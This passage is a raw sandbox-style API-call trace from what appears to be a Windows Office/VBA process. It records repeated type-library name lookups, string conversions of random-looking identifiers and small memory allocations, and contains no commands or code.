lHashVal=0x10814c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.288] IUnknown:Release (This=0x7919520) returned 0x12 [0019.288] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.288] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_QidOpNcLt", lHashVal=0x10814c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.288] IUnknown:Release (This=0x7346470) returned 0xb [0019.288] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.288] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_QidOpNcLt", lHashVal=0x10814c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.288] IUnknown:Release (This=0x7345930) returned 0x7 [0019.288] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.288] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_QidOpNcLt", lHashVal=0x10814c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.288] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.288] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.288] IUnknown:Release (This=0x7919520) returned 0x12 [0019.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b516, cbMultiByte=10, lpWideCharStr=0xd65367c, cchWideChar=22 | out: lpWideCharStr="QQcZTsHCCT") returned 10 [0019.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b52a, cbMultiByte=10, lpWideCharStr=0xd653826, cchWideChar=22 | out: lpWideCharStr="kGQLBiqGzQ") returned 10 [0019.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b53e, cbMultiByte=10, lpWideCharStr=0xd6539d0, cchWideChar=22 | out: lpWideCharStr="nGHkcFWIWX") returned 10 [0019.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b552, cbMultiByte=10, lpWideCharStr=0xd653b7a, cchWideChar=22 | out: lpWideCharStr="cDHKikjGXq") returned 10 [0019.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b566, cbMultiByte=10, lpWideCharStr=0xd653d24, cchWideChar=22 | out: lpWideCharStr="AlkAGsnLOb") returned 10 [0019.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b57a, cbMultiByte=10, lpWideCharStr=0xd653ece, cchWideChar=22 | out: lpWideCharStr="UrfFNJIswN") returned 10 [0019.289] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd660000 [0019.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b58e, cbMultiByte=10, lpWideCharStr=0xd6600a4, cchWideChar=22 | out: lpWideCharStr="VwffrjwFcR") returned 10 [0019.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hRBFLImqotl") returned 0x104f1d [0019.290] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="hRBFLImqotl" | out: _Dst="hRBFLImqotl") returned 0x0 [0019.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="hRBFLImqotl") returned 12 [0019.290] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.290] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="hRBFLImqotl", lHashVal=0x104f1d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.290] IUnknown:Release (This=0x7919520) returned 0x12 [0019.290] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.290] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="hRBFLImqotl", lHashVal=0x104f1d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.290] IUnknown:Release (This=0x7346470) returned 0xb [0019.290] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.290] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="hRBFLImqotl", lHashVal=0x104f1d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.290] IUnknown:Release (This=0x7345930) returned 0x7 [0019.290] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.290] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="hRBFLImqotl", lHashVal=0x104f1d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.290] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.290] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.290] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_hRBFLImqotl", lHashVal=0x10407f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.290] IUnknown:Release (This=0x7919520) returned 0x12 [0019.290] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.290] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_hRBFLImqotl", lHashVal=0x10407f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.291] IUnknown:Release (This=0x7346470) returned 0xb [0019.291] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.291] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_hRBFLImqotl", lHashVal=0x10407f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.291] IUnknown:Release (This=0x7345930) returned 0x7 [0019.291] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.291] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_hRBFLImqotl", lHashVal=0x10407f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.291] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.291] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.291] IUnknown:Release (This=0x7919520) returned 0x12 [0019.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LkRzpjBA") returned 0x10715e [0019.291] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="LkRzpjBA" | out: _Dst="LkRzpjBA") returned 0x0 [0019.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="LkRzpjBA") returned 9 [0019.291] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.291] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LkRzpjBA", lHashVal=0x10715e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.291] IUnknown:Release (This=0x7919520) returned 0x12 [0019.291] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.291] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LkRzpjBA", lHashVal=0x10715e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.291] IUnknown:Release (This=0x7346470) returned 0xb [0019.291] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.291] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LkRzpjBA", lHashVal=0x10715e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.291] IUnknown:Release (This=0x7345930) returned 0x7 [0019.291] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.291] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LkRzpjBA", lHashVal=0x10715e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.291] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.291] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.291] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LkRzpjBA", lHashVal=0x1048e7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.291] IUnknown:Release (This=0x7919520) returned 0x12 [0019.291] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.291] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LkRzpjBA", lHashVal=0x1048e7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.291] IUnknown:Release (This=0x7346470) returned 0xb [0019.291] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.291] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LkRzpjBA", lHashVal=0x1048e7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.291] IUnknown:Release (This=0x7345930) returned 0x7 [0019.291] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.291] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LkRzpjBA", lHashVal=0x1048e7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.291] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.291] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.291] IUnknown:Release (This=0x7919520) returned 0x12 [0019.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b5f6, cbMultiByte=10, lpWideCharStr=0xd6636a6, cchWideChar=22 | out: lpWideCharStr="VwYmHsMjTW") returned 10 [0019.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b60a, cbMultiByte=10, lpWideCharStr=0xd663850, cchWideChar=22 | out: lpWideCharStr="mTYOJjfjSu") returned 10 [0019.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b61e, cbMultiByte=10, lpWideCharStr=0xd6639fa, cchWideChar=22 | out: lpWideCharStr="hvOubJsDBc") returned 10 [0019.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b632, cbMultiByte=10, lpWideCharStr=0xd663ba4, cchWideChar=22 | out: lpWideCharStr="mffltSkbJC") returned 10 [0019.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b646, cbMultiByte=10, lpWideCharStr=0xd663d4e, cchWideChar=22 | out: lpWideCharStr="nVzjXbtcac") returned 10 [0019.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b65a, cbMultiByte=10, lpWideCharStr=0xd663ef8, cchWideChar=22 | out: lpWideCharStr="JtYdiaiiLw") returned 10 [0019.292] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd670000 [0019.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b66e, cbMultiByte=10, lpWideCharStr=0xd6700a4, cchWideChar=22 | out: lpWideCharStr="AIfrjHnnUq") returned 10 [0019.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dUoFz") returned 0x1088f8 [0019.294] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="dUoFz" | out: _Dst="dUoFz") returned 0x0 [0019.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="dUoFz") returned 6 [0019.294] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.294] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="dUoFz", lHashVal=0x1088f8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.294] IUnknown:Release (This=0x7919520) returned 0x12 [0019.294] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.294] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="dUoFz", lHashVal=0x1088f8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.294] IUnknown:Release (This=0x7346470) returned 0xb [0019.294] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.294] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="dUoFz", lHashVal=0x1088f8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.294] IUnknown:Release (This=0x7345930) returned 0x7 [0019.294] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.294] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="dUoFz", lHashVal=0x1088f8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.294] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.294] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.294] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_dUoFz", lHashVal=0x104ce5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.294] IUnknown:Release (This=0x7919520) returned 0x12 [0019.294] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.294] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_dUoFz", lHashVal=0x104ce5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.294] IUnknown:Release (This=0x7346470) returned 0xb [0019.294] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.294] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_dUoFz", lHashVal=0x104ce5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.294] IUnknown:Release (This=0x7345930) returned 0x7 [0019.294] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.294] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_dUoFz", lHashVal=0x104ce5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.294] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.294] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.294] IUnknown:Release (This=0x7919520) returned 0x12 [0019.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b6a6, cbMultiByte=10, lpWideCharStr=0xd672960, cchWideChar=22 | out: lpWideCharStr="SLuvClYCzY") returned 10 [0019.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b6ba, cbMultiByte=10, lpWideCharStr=0xd672b0a, cchWideChar=22 | out: lpWideCharStr="bnKKUBFEJZ") returned 10 [0019.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b6ce, cbMultiByte=10, lpWideCharStr=0xd672cb4, cchWideChar=22 | out: lpWideCharStr="tiiwclIWoL") returned 10 [0019.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b6e2, cbMultiByte=10, lpWideCharStr=0xd672e5e, cchWideChar=22 | out: lpWideCharStr="nBOLvKEkcF") returned 10 [0019.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b6f6, cbMultiByte=10, lpWideCharStr=0xd673008, cchWideChar=22 | out: lpWideCharStr="IwHEpLZYoO") returned 10 [0019.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b70a, cbMultiByte=10, lpWideCharStr=0xd6731b2, cchWideChar=22 | out: lpWideCharStr="wRzFqjczSR") returned 10 [0019.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b71e, cbMultiByte=10, lpWideCharStr=0xd67335c, cchWideChar=22 | out: lpWideCharStr="cCNmkaZwPK") returned 10 [0019.295] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd680000 [0019.296] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wXnTJbGC") returned 0x10fbdb [0019.296] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="wXnTJbGC" | out: _Dst="wXnTJbGC") returned 0x0 [0019.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="wXnTJbGC") returned 9 [0019.296] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.296] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wXnTJbGC", lHashVal=0x10fbdb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.296] IUnknown:Release (This=0x7919520) returned 0x12 [0019.296] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.296] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wXnTJbGC", lHashVal=0x10fbdb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.296] IUnknown:Release (This=0x7346470) returned 0xb [0019.296] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.296] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wXnTJbGC", lHashVal=0x10fbdb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.296] IUnknown:Release (This=0x7345930) returned 0x7 [0019.296] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.296] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wXnTJbGC", lHashVal=0x10fbdb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.296] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.296] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.296] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wXnTJbGC", lHashVal=0x10d364, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.297] IUnknown:Release (This=0x7919520) returned 0x12 [0019.297] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.297] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wXnTJbGC", lHashVal=0x10d364, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.297] IUnknown:Release (This=0x7346470) returned 0xb [0019.297] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.297] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wXnTJbGC", lHashVal=0x10d364, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.297] IUnknown:Release (This=0x7345930) returned 0x7 [0019.297] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.297] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wXnTJbGC", lHashVal=0x10d364, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.297] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.297] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.297] IUnknown:Release (This=0x7919520) returned 0x12 [0019.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b756, cbMultiByte=10, lpWideCharStr=0xd681c26, cchWideChar=22 | out: lpWideCharStr="aXTiiDnAUV") returned 10 [0019.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b76a, cbMultiByte=10, lpWideCharStr=0xd681dd0, cchWideChar=22 | out: lpWideCharStr="RPfkhKwzBr") returned 10 [0019.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b77e, cbMultiByte=10, lpWideCharStr=0xd681f7a, cchWideChar=22 | out: lpWideCharStr="ckMqXSHGwK") returned 10 [0019.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b792, cbMultiByte=10, lpWideCharStr=0xd682124, cchWideChar=22 | out: lpWideCharStr="mVBhMJrpww") returned 10 [0019.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b7a6, cbMultiByte=10, lpWideCharStr=0xd6822ce, cchWideChar=22 | out: lpWideCharStr="wOwjSWQNXj") returned 10 [0019.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b7ba, cbMultiByte=10, lpWideCharStr=0xd682478, cchWideChar=22 | out: lpWideCharStr="ZwEKwpKcHL") returned 10 [0019.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b7ce, cbMultiByte=10, lpWideCharStr=0xd682622, cchWideChar=22 | out: lpWideCharStr="whDKivOzXY") returned 10 [0019.298] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd690000 [0019.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="qEcRj") returned 0x10588c [0019.299] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="qEcRj" | out: _Dst="qEcRj") returned 0x0 [0019.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="qEcRj") returned 6 [0019.299] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.299] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="qEcRj", lHashVal=0x10588c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.299] IUnknown:Release (This=0x7919520) returned 0x12 [0019.299] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.299] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="qEcRj", lHashVal=0x10588c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.299] IUnknown:Release (This=0x7346470) returned 0xb [0019.299] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.299] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="qEcRj", lHashVal=0x10588c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.299] IUnknown:Release (This=0x7345930) returned 0x7 [0019.299] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.299] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="qEcRj", lHashVal=0x10588c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.299] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.299] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.299] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_qEcRj", lHashVal=0x101c79, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.299] IUnknown:Release (This=0x7919520) returned 0x12 [0019.299] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.299] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_qEcRj", lHashVal=0x101c79, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.299] IUnknown:Release (This=0x7346470) returned 0xb [0019.299] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.299] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_qEcRj", lHashVal=0x101c79, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.299] IUnknown:Release (This=0x7345930) returned 0x7 [0019.299] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.299] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_qEcRj", lHashVal=0x101c79, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.299] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.299] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.299] IUnknown:Release (This=0x7919520) returned 0x12 [0019.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SkhQBlAT") returned 0x109d9d [0019.300] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="SkhQBlAT" | out: _Dst="SkhQBlAT") returned 0x0 [0019.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="SkhQBlAT") returned 9 [0019.300] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.300] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="SkhQBlAT", lHashVal=0x109d9d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.300] IUnknown:Release (This=0x7919520) returned 0x12 [0019.300] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.300] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="SkhQBlAT", lHashVal=0x109d9d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.300] IUnknown:Release (This=0x7346470) returned 0xb [0019.300] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.300] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="SkhQBlAT", lHashVal=0x109d9d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.300] IUnknown:Release (This=0x7345930) returned 0x7 [0019.300] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.300] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="SkhQBlAT", lHashVal=0x109d9d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.300] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.300] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.300] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_SkhQBlAT", lHashVal=0x107526, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.300] IUnknown:Release (This=0x7919520) returned 0x12 [0019.300] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.300] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_SkhQBlAT", lHashVal=0x107526, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.300] IUnknown:Release (This=0x7346470) returned 0xb [0019.300] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.300] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_SkhQBlAT", lHashVal=0x107526, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.300] IUnknown:Release (This=0x7345930) returned 0x7 [0019.300] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.300] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_SkhQBlAT", lHashVal=0x107526, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.300] IUnknown:Release (This=0x7919ac0) returned 